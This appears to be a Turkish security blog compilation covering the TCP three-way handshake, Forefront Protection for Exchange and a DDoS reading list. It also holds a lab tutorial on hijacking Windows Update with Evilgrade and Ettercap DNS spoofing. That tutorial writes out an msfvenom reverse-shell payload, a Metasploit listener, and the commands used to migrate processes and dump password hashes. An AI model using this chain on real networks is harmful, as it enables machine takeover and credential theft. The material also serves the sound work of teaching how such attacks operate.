Notlar: Üçlü El Sıkışma - Tree Way Handshak

Üçlü El Sıkışma - Three Way Handshake

Ağ üzerinde iki bilgisayar arasında TCP bağlantısının sağlanmasında ilk aşamaya Üçlü El Sıkışma (Tree Way Handshake) denilmektedir. Şimdi bu bağlantının sağlanmasını genel hatları ile anlatalım:

1. Bağlantıyı başlatacak İstemci bilgisayar TCP segmenti başlığı içerisinde SYN (Synchronize) bitini “1″ set eder. Paketleri kontrol etmek amacıyla bir sıra numarası üretilir. Bu sıra numarasına SEQ.Num. (Sequence Number) denilmektedir. Örneğimizde ilk sıra numarası 3517‘dir. Bu ilk sıra numarası işletim sistemlerine göre farklılık gösterir.
2. İstemciden gönderilen paketi alan Sunucu bağlantı isteğini onaylamak için TCP segmenti başlığı içerisinde SYN+ACK (Acknowledgement) bitlerini “1″ set eder. Sunucu aldığı paketteki sıra numarasını bir artırır 3517+1=3518 bu numara İstemci bilgisayarın bir sonraki göndereceği paket numarasıdır. Bu numara değeri ACK.Num. (Acknowledgment Number) alanına yazar. Sunucu da kendi paketlerini kontrol amaçlı bir sıra numarası üretir. Örneğimizde Sunucunun ürettiği ilk sıra numarası da 7349‘dur. Bu sıra numarasını SEQ.Num. alanına yazar ve paketi tekrar İstemciye yollar.
3. Bağlantı sağlamanın son aşaması olarak İstemci bilgisayarından Sunucu bilgisayarına bir paket daha iletilir. Bu pakette TCP segmenti başlığı içerisinde ACK biti “1″ set edilir. ACK.Num. alanına Sunucu bilgisayarın gönderdiği ACK.Num. değeri 7349 bir artırılarak 7349+1=7350 yazılır. SEQ.Num. değeri İstemci bilgisayarın sıradaki paket numarasıdır. Yani İstemci bilgisayarının ilk gönderdiği sıra numarası Sunucu bilgisayarı tarafından bir artırılmış ve İstemci‘ye yeniden  gönderilmiş olan 3518 numarası yazılır ve paket Sunucu bilgisayarına gönderilir.

Toplamda 3 paket ile TCP bağlantısı sağlanmış olur.

Bağlantı sağlandıktan sonra artık paketler tek tek gönderilmez. Bundan sonraki paketler örneğin iletilecek dosyanın büyüklüğü, ağ hızı vb. etkenler göz önünde bulundurularak işletim sistemine göre belirli bir algoritma ile iletişim devam eder.

Üçlü el sıkışma ile ilgili özet bir gösterim şu şekildedir:

Üçlü el sıkışmayı daha iyi anlamak için TCP başlığını incelemek gerekebilir. TCP başlığı ise şu şekildedir:

Örnek - 1:
Daha açıklayıcı olması için bu 3 adımı Wireshark ile gösterelim. Yukarıdaki anlatımdan tek farkı SEQ.Num. ve ACK.Num. değerleridir.

1. Adım:

2.Adım:

3.Adım:

NOT: Önemli bir hatırlatma yapmakta fayda vardır. Wireshark programı paketlerin kolay incelenmesini sağlamak amacı ile SEQ.Num. değerini varsayılan ayarlarında sıfır “0″ olarak başlatır. Bu ayarı devre dışı bırakıp SEQ.Num. değerinin orjinal numarasını görmek için ayarlama yapmak gerekir. Bu ayar için Wireshark > Edit > Preferences… > Protokols > TCP seçilir ve sağ pencereden Relative sequence numbers: kutusunda bulunan işaret kaldırılır.

Örnek -2:
Bir başka örnek olarak da aşağıdaki iletişim kullanılabilir:

"yahoo.com" adresine gidilirken elde edilen bu paketteki 10 adım şu şekilde özetlenebilir:

1. Paket: Varsayılan ağ geçidinin IP adresi (10.0.0.138) aranır. Bu amaçla ARP yayını (broadcast) gerçekleştirilir.
2. Paket: Yayına, ağ geçidinin MAC adresi ile cevap (ARP unicast) verilir. Aynı ağda MAC adresleri ile iletişim kurulduğundan MAC yollanmıştır. MAC'in bilgisayarın ARP tablosunda olmadığı varsayılmıştır.
3. Paket: Hedef adresin DNS A kaydı sorgulanır. IPv4 adresi öğrenilmek istenmiştir.
4. Paket: Hedef adresin DNS AAAA kaydı sorgulanır. IPv6 adresi öğrenilmek istenmiştir.
5. Paket: Hedef adresin DNS A kaydı cevabı verilir.
6. Paket: Hedef adresin DNS AAAA kaydı cevabı verilir.
7. Paket: Hedef IP adresinin 80. portuna SYN gönderilir.
8. Paket: Hedef IP adresinin 80. portundan SYN ve ACK paketleri alınır.
9. Paket: Hedef IP adresinin 80. portuna ACK gönderilir.
10. Paket: İlk HTTP GET talebi gönderilir.

Kaynak:
http://siberblog.org/index.php/three-way-handshake-uclu-el-sikisma/

İpucu: Windows Update Özelliğinin Kötüye Kullanılması

İpucu: Windows Update Özelliğinin Kötüye Kullanılması

Uygun şekilde yapılandırılmamaış ağlarda saldırgan, kurban olarak seçtiği bir bilgisayar ile bu bilgisayarın gitmek istediği hedef adresin arasına girebilir. Örneğin Windows işletim sistemini güncellemesini gerçekleştirmek isteyen kurban, Microsoft’un güncelleme sitesine gitmek yerine, saldırganın belirlediği DNS kaydına göre ilgili bir sunucuya yönlendirilebilir. Böylece Windows işletim güncellemesi yerine saldırganın gönderdiği zararlı yazılım yüklenerek kurban bilgisayar, saldırganın eline geçmiş olur.

Bu işlemler 7 adımda incelenecektir:

• Saldırgan ve kurban bilgisayarları birbirlerine olan erişimleri kontrol edilecek
• Evilgrade uygulaması kurulacak ve “winupdate” modülü seçilecek
• “winupdate” modülü ve ilgili diğer kaynaklar ayarlanacak
• Ettercap ile KurbanaDNS spoofing saldırısı gerçekleştirilecek
• Saldırgan, kurban bilgisayardan gelen bağlantı taleplerini dinleyecek olan bir ortamı hazırlayacak
• Kurban işletim sistemini güncellemek için talepte bulunacak ve saldırganın hazırlamış olduğu zararlı uygulamayı indirecek
• Kurbanın zararlı yazılımı çalıştırmasıyla saldırgan kurbanın bilgisayarına bağlanacak ve hak yükseltecek

Erişimlerin Kontrolü
Kurban makine (192.168.100.78), saldırgan makineye erişebilmektedir:

Saldırgan makine (192.168.100.75), kurban makineye erişebilmektedir:

Evilgrade Uygulamasının Kurulumu ve Seçilen Modülün Seçilmesi
Öncelikle www.github.com/infobyte/evilgrade adresinden uygulama sıkıştırılmış bir dosya olarak indirilir:

Bu dosya saldırgana ait Backtrack bilgisayarına kopyalanır ve sıkıştırılmış dosya açılır. Evilgrade betiği çalıştırılır:

Modüllerin yüklenmesi beklenir:

Not: Diğer EvilGrade kurulum metodları için bakınız: http://blog.techdynamics.org/2011/07/howto-install-evilgrade-on-backtrack5.html

Not: Modüllerin listelenmesi için aşağıdaki komut çalıştırılır.

show modules

“winupdate” modülü kullanılmaya başlanır. Kullanılan komutlar aşağıdaki gibidir:

configure winupdate
show options

Not: Betik büyük/küçük harf duyarlıdır.
Üstteki ekran görüntüsünde de görüldüğü gibi “microsoft.com” üst alan adındaki bir takım sitelere erişim sağlanmaya çalışıldığında “agent.exe” adlı uygulama gönderilecektir.

“winupdate” Modülünün ve İlgili Kaynakların Ayarlanması
winupdate modülünde iki önemli nokta vardır: VirtualHost ve Agent. Bu başlıkta, 2 değere göre kaynak ayarlaması gerçekleştirilecektir.

VirtualHost: Kurban bilgisayara gerçekleştirilecek DNS Spoofing saldırısı için Ettercap adı verilen bir uygulama kullanılacaktır. Ettercap uygulaması, DNS spoofing için “/usr/local/share/ettercap/etter.dns” adlı dosyadaki DNS kayıtlarını kullanmaktadır. Bu dosya açılarak içerisine Microsoft sistemlerinin güncellenmesi için kulanılan DNS kayıtları için saldırgan tarafından belirlenen IP adresleri yazılır. Bu adres saldırganın sahip olduğu başka bir saldırı makinesi olabileceği gibi, saldırgann kullandığı Backtrack makinesi de olabilir. Örnek olarak saldırganın makinesi verilmiştir:

Agent: Kurbana gönderilecek olan ajan uygulamanın oluşturulması için msfcli, msfpayload, msfvenom, veya diğer teknikler kullanılabilir. Örnek olarak msfvenom kullanılacaktır. Bu amaçla ayrı bir konsolda msfvenom dizini tespit edilir:

which msfvenom
ls -la /usr/local/bin/msfvenom

EvilGrade uygulamasının başlatıldığı konsola geri dönülerek ajan uygulama oluşturulur. Bunun için, msfvenom kullanılarak kurbanın bağlanması istenen IP adresi (192.168.100.75) ve porta (TCP/4444) bağlantıyı sağlayacak olan “WindowsGuncellemeSaldirisi.exe” adlı bir exe oluşturulup tmp dizinine kaydedilir. Daha sonra da bu exe, ajan olarak ayarlanır.

set agent '["/opt/metasploit-4.4.0/app/msfvenom -p windows/meterpreter/reverse_tcp -e -i 3 LHOST=192.168.100.75 LPORT=4444 -f exe  1> <%OUT%>/tmp/WindowsGuncellemeSaldirisi.exe<%OUT%>"]'

Ettercap ile DNS Spoofing İşleminin Başlatılması
Öncelikle boş bir konsol kullanılarak Ettercap arayüzü açılır. Daha sonra da spoofing işlemini gerçekleştirecek olan saldırganın ilgili ağ adaptörü seçilir (Shift + U).

ettercap -G
Sniff > Unified Sniffing 

Not: Seçilen adaptörün dinleme modunda olduğu görülmektedir.

Gelinen pencerede eklentiler listelenir (CTRL + P) ve “dns_spoof” adlı eklenti iki kerek tıklanarak aktifleştirilir:

Plugins > Manage the plugins
dns_spoof

Erişim sağlanabilen sistemler taranır (CTRL + S).

Hosts > Scan for hosts

Not: Tarama sonucunda tespit edilen sistemler listelenebilir (H):

Hosts > Hosts list

Tespit edilen sistemlere Arp zehirlemesi yapılır.

Mitm > Arp poisoning
Optional parameters: Sniff remote connections.

Not: Arp zehirleme işlemin gerçekleştirileceği gruplar otomatik olarak oluşur.

Dinleme işlemi başlatılır (CTRL +W).

Start > Start Sniffing

Not: İstemcinin herhangi bir işleminde saldırgan araya girmiş bulunmaktadır.

Saldırganın Kurban Bilgisayarı Dinlemesi
Saldırgan, saldırıya geçmeden önce kurbanın bağlantıyı kurdupubnda bu bağlantıyı dinleyeceği bir ortam gereklidir. Bu ortamı netcat sağlayabileceği gibi, meterpreter kabuğu ile iletişim kurabilen handler modülü de sağlayabilir. Kurbanın kuracağı bağlantıyı dinlemek için handler modülü başlatılır ve bağlantının kurulacağı IP (192.168.100.75) ve Port (4444) bilgisi girilir.

msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.100.75
set LPORT 4444
show options

Gerekli ayarlamalar uygun şekilde gerçekleştirildikten sonra, kurbanın bağlantıyı başlatması beklenir:

Kurbanın Windows Güncelleştirmesini Başlatması ve Zararlı Yazılımı Alması
Kurban bilgisayarda Windows işletim sistemi güncelleştirilmesi için “windows.update.microsoft.com” adresi kullanılabilir:

Not: İşletim sisteminin otomatik olarak güncellenmesi de beklenebilirdi.
Ettercap’İn DNS kayıtlarını değiştirmesi sayesinde, kurban bilgisayar, Microsoft’un sitesi yerine saldırganın makinesine gider. EvilGrade’in winupdate modülü sayesinde de, kurban bilgisayar, yasal güncelleme paketi yerine, msfvenom ile oluşturulan zararlı yazılımı indirir:

Kurban zararlı yazılımı masaüstüne kaydeder:

Not: Zararlı yazılımının talep edilmesi EvilGrade üzerinde de görülebilmektedir.

Kurbanın Zararlı Yazılımı Çalıştırması ve Saldırganın Kurban Bilgisayarına Bağlanması
Kurban masaüstündeki zararlı yazılımı çalıştırır.

Kurban bilgisayarda bu zararlı yazılım çalıştırıldığında, yazılımın oluşturulduğu PAYLOAD sayesinde, kurban, saldırganın bilgisayarına bağlantı kuracaktır. Böylece bağlantı kurulmasını bekleyen Handler modülüne bağlantı kurulmuştur:

Artık hak yükseltme işlemi gerçekleştirilebilir. Bu amaçla tüm prosesler listelenir:

ps

Sistem hakları ile çalışan uygun bir prosese sıçranır. İstenirse yerel makinedeki hesapların parola özetleri elde edilebilir veya başka işlemler gerçekleştirilebilir:

migrate 1124
getuid
hashdump

Kaynak site:
http://www.mshowto.org/mitm-saldiri-yontemi-ile-windows-server-2008-nasil-hack-edilir.html
http://r00tsec.blogspot.com/2011/07/hacking-with-evilgrade-on-backtrack5.html

Exchange Server: Forefront Protection 2010 for Exchange Server (FPE)

Exchange Server: Forefront Protection 2010 for Exchange Server (FPE)

Microsoft Forefront Security, Exchange ortamında zararlılara karşı koruma için kullanılabilen merkezi bir çözümdür. FPE, Exchange Server 2007 SP1 ve sonraki sürümleri desteklemektedir.

FPE ile şu kazanımlar sağlanabilmektedir:

• Anti-spam ve AV için katmanlı bir yapı sağlanır.
• Süreklilik sağlanır. Tarama motorlarından bir tanesi devre dışı kalması durumunda bile koruma işlemi diğer motorlar tarafından devam ettirilir ve aynı zamanda e-posta iletişimi yavaşlamadan sürdürülür.
• Anti-Spam ajanlarının otomatik olarak konfigürasyonu sağlanmaktadır.
• Anti-spam içerik filtrelemede başarı oranını neredeyse %100’e çıkarmaktadır. 
• Birbirinden farklı motorlar ile zararlılara karşı koruma sağlanmaktadır. Bu motorların yönetimini ve takibini etkili şekilde gerçekleştirmektedir.
• Performansı düşürmeden maksimum algılama sağlar. Önceden belirlenmiş ayarlar sayesinde, her taramada en güncel ve etkili olan tarama motorunu otomatik olarak seçer ve performans-güvenlik dengesini kurar.
• Farkı iç ve dış kaynaklardan Sender Reputation bilgisini elde edebilmektedir.
• Bulut tabanlı içerik filtreleme ajanlarını barındırmaktadır.
• İçerik filtreleme güncellemesini otomatik olarak gerçekleştirebilmektedir.
• Çok sayıda sağlayıcıyla oluşturulan Forefront DNS blocklistle DNS kontrolü en doğru şekilde gerçekleştirilmektedir. Bunun yanında SCL seviyesini belirlemede daha doğru sonuçlar ortaya çıkmaktadır. Böylece false-pozitif sonuçlarının sayısı azaltılmaktadır.
• Bloklama ve izin verme işlemlerinin tek bir merkezden yapılmasını sağlayan ana çatıyı sunar.
• NDR (Non delivery report) sağlar.
• Aynı postanın defalarca taramadan geçirilmesinin önüne geçilerek tarama işleminin sistematiğe bağlanması sağlanır.
• Hassas bilgi içeren e-postaların yayılmasını engellemek için anahtar kelime filtreleri kullanarak organizasyonun yükümlülüklerini azaltılır.

FPE; ETS ve HTS üzerinde kurulması önerilmektedir. Daha etkin bir koruma için MBS üzerinde de kullanılması tavsiye edilir. CAS rolüne kurulmasına gerek yoktur.
FPE, bir sunucuya erişen postayı varsayılan olarak bir kere tarar. Tarama işlemi sırasında en az 3 tane motorun çalışıyor olması ve bu motorların dinamik olarak belirleniyor olması tavsiye edilmektedir. Böylece performans sorunu yaşanmasının önüne geçilmektedir. İlgili sunucuda gerçekleştirilen tarama işlemi sonucunda tarama bilgisini postaya ekler. Daha önceden bir sunucuda tarama gerçekleştirilmiş olsa bile, MBS üzerinde FPE tarafından yeni bir taramanın daha yapılması tavsiye edilmektedir. Daha performanslı bir yapı için ise, sadece eki olan ve daha önce taramadan geçirilmiş olan postaların taranması tavsiye edilmektedir. Ayrıca belli aralıklarla MBS üzerinde tüm veritabanlarının taranması da önerilmektedir.

Bunun yanında ForeFront Online Protection for Exchange (FOPE) adı verilen ve bulutta çalışan bir sistem daha vardır. FOPE lokalde kurulmaz, bulut hizmeti olarak kullanılmaktadır. Böylece mail trafiğinin buradan geçmesi sağlanarak güvenlik sağlanmış olur.

Kaynak site:
http://technet.microsoft.com/en-us/library/bb795191.aspx

Okunası Makaleler: DoS / DDoS

DoS/DDoS Makaleleri

DNS Hizmetine Yönelik Dos/DDoS Saldırıları
Kaynak site:
http://www.bga.com.tr/calismalar/dns_ddos.pdf

BGA 2011 DDoS Pentest ve Analiz Raporu
Kaynak site:
http://blog.bga.com.tr/2012/04/bga-2011-ddos-pentest-ve-analiz-raporu.html

DDoS Attacks on SSL: Something Old, Something New
Kaynak site:
http://ddos.arbornetworks.com/2012/04/ddos-attacks-on-ssl-something-old-something-new/

Siber Saldırı Aracı Olarak DDoS
Kaynak site:
http://www.bga.com.tr/calismalar/siber_savas_ddos.pdf

Hosting Firmalarına yönelik DDoS Saldırıları ve Çözüm Önerileri
Kaynak site:
http://www.bga.com.tr/calismalar/Hosting_DDoS.pdf

Netscreen Firewall DDoS Ayarları
Kaynak site:
http://www.bga.com.tr/calismalar/netscreen_ddos.pdf

DDoS Saldırı Analizi: DDoS Saldırılarında IP Analizi
Kaynak site:
http://www.bga.com.tr/calismalar/ddos_analizi.pdf

DDoS Saldırıları Nasıl Gerçekleştirilir?
Kaynak site:
http://www.bga.com.tr/calismalar/bga_ddos-botnet-ankara-2.pdf

SynFlood DDOS Saldırıları: SynFlood saldırıları ve korunma yolları
Kaynak site:
http://www.bga.com.tr/calismalar/synflood.pdf

Özgür Yazılımlarla DDOS Saldırılarını Engelleme
Kaynak site:
http://www.bga.com.tr/calismalar/opensource-ddos-engelleme.pdf

DOS, DDOS Atakları ve Korunma Yöntemleri
Kaynak site:
http://www.bga.com.tr/calismalar/ddos_ataklar_ve_korunma.pdf

DDoS Saldırıları ve Korunma Yolları
Kaynak site:
http://www.bga.com.tr/calismalar/ddos_ataklar_ve_korunma.pdf

Web Sunuculara Yönelik DOS/DDOS Saldırıları
Kaynak site:
http://www.bga.com.tr/calismalar/web_ddos.pdf

DDoS and Security Reports: The Arbor Networks Security Blog
Kaynak site:
http://ddos.arbornetworks.com/2012/05/stepping-forward-with-the-2012-world-ipv6-launch/

Why Firewalls and Intrusion Prevention Systems (IPS) Fall Short on DDoS Protection
Kaynak site:
http://www.arbornetworks.com/ddos/Why%20Firewalls%20and%20Intrusion%20Prevention%20Systems%20Fall%20Short%20on%20DDoS%20Protection.pdf

Protocol Analysis and Defeating DDoS in FreeBSD Kernel
Kaynak site:
http://www.nopcon.org/sunumlar/NebiSenol-FreeBSD.pdf

DDoS nedir, ne değildir?
Kaynak site:
http://www.siberguvenlik.org.tr/ddos-nedir-ne-degildir/

DDoS attacks, so simple so dangerous
Kaynak site:
http://securityaffairs.co/wordpress/8259/security/ddos-attacks-so-simple-so-dangerous.html?goback=%2Egde_37658_member_155139624

DDoS Türleri
Kaynak site:
http://blog.btrisk.com/2014/05/dos-turleri.html


DDoS Önlemleri: DDoS NEDİR, NE YAPMALIYIM?
Kaynak site:
http://ekaragol.blogspot.com.tr/2013/11/ddos-onlemleri.html


DoS DDoS Saldırıları ve Korunma Yöntemleri Kitabı
Kaynak site:
http://www.slideshare.net/bgasecurity/dos-ddos-saldrlar-ve-korunma-yntemleri-kitab